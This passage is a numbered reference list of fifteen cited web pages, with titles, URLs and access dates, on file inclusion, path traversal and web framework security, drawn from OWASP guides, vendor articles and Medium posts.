49. Testing for File Inclusion - WSTG - Latest | OWASP Foundation, accessed June 29, 2025, https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_File_Inclusion
50. What is File Inclusion vulnerability? | by Vishnu Shivalal P - Medium, accessed June 29, 2025, https://medium.com/@vishnushivalalp/what-is-file-inclusion-vulnerability-be3e66f8c83a
51. What is Local & Remote File Inclusion - Veracode, accessed June 29, 2025, https://www.veracode.com/security/file-inclusion-vulnerabilities/
52. Understanding LFI and RFI Vulnerabilities: A Guide for Developers - Harry Patel - Medium, accessed June 29, 2025, https://harrypatel11.medium.com/understanding-lfi-and-rfi-vulnerabilities-a-guide-for-developers-b154b7190006
53. Testing for Local File Inclusion - WSTG - v4.2 | OWASP Foundation, accessed June 29, 2025, https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion
54. LFI Attack: Real Life Attacks and Attack Examples - Bright Security, accessed June 29, 2025, https://www.brightsec.com/blog/lfi-attack-real-life-attacks-and-attack-examples/
55. Testing for Remote File Inclusion - WSTG - v4.2 | OWASP Foundation, accessed June 29, 2025, https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.2-Testing_for_Remote_File_Inclusion
56. Remote File Inclusion (RFI) - Invicti, accessed June 29, 2025, https://www.invicti.com/learn/remote-file-inclusion-rfi/
57. Remote File Inclusion (RFI) Explanetion and Attack Examples | QAwerk, accessed June 29, 2025, https://qawerk.com/blog/what-is-remote-file-inclusion/
58. File Inclusion, Path Traversal . TryHackMe Walkthrough | by RosanaFSS - Medium, accessed June 29, 2025, https://medium.com/@RosanaFS/tryhackme-file-inclusion-path-traversal-9f99395562c8
59. Insecure functionality - Session management - PHP - Knowledge Base, accessed June 29, 2025, https://help.fluidattacks.com/portal/en/kb/articles/criteria-fixes-php-302
60. Security in Django, accessed June 29, 2025, https://docs.djangoproject.com/en/5.2/topics/security/
61. Django Security - OWASP Cheat Sheet Series, accessed June 29, 2025, https://cheatsheetseries.owasp.org/cheatsheets/Django_Security_Cheat_Sheet.html
62. Directory Traversal: Examples, Testing, and Prevention - Wallarm, accessed June 29, 2025, https://lab.wallarm.com/what/directory-traversal-examples-testing-and-prevention/
63. Role of OWASP in Security Testing: Best Web Security - ContextQA, accessed June 29, 2025, https://contextqa.com/role-of-owasp-in-security-testing/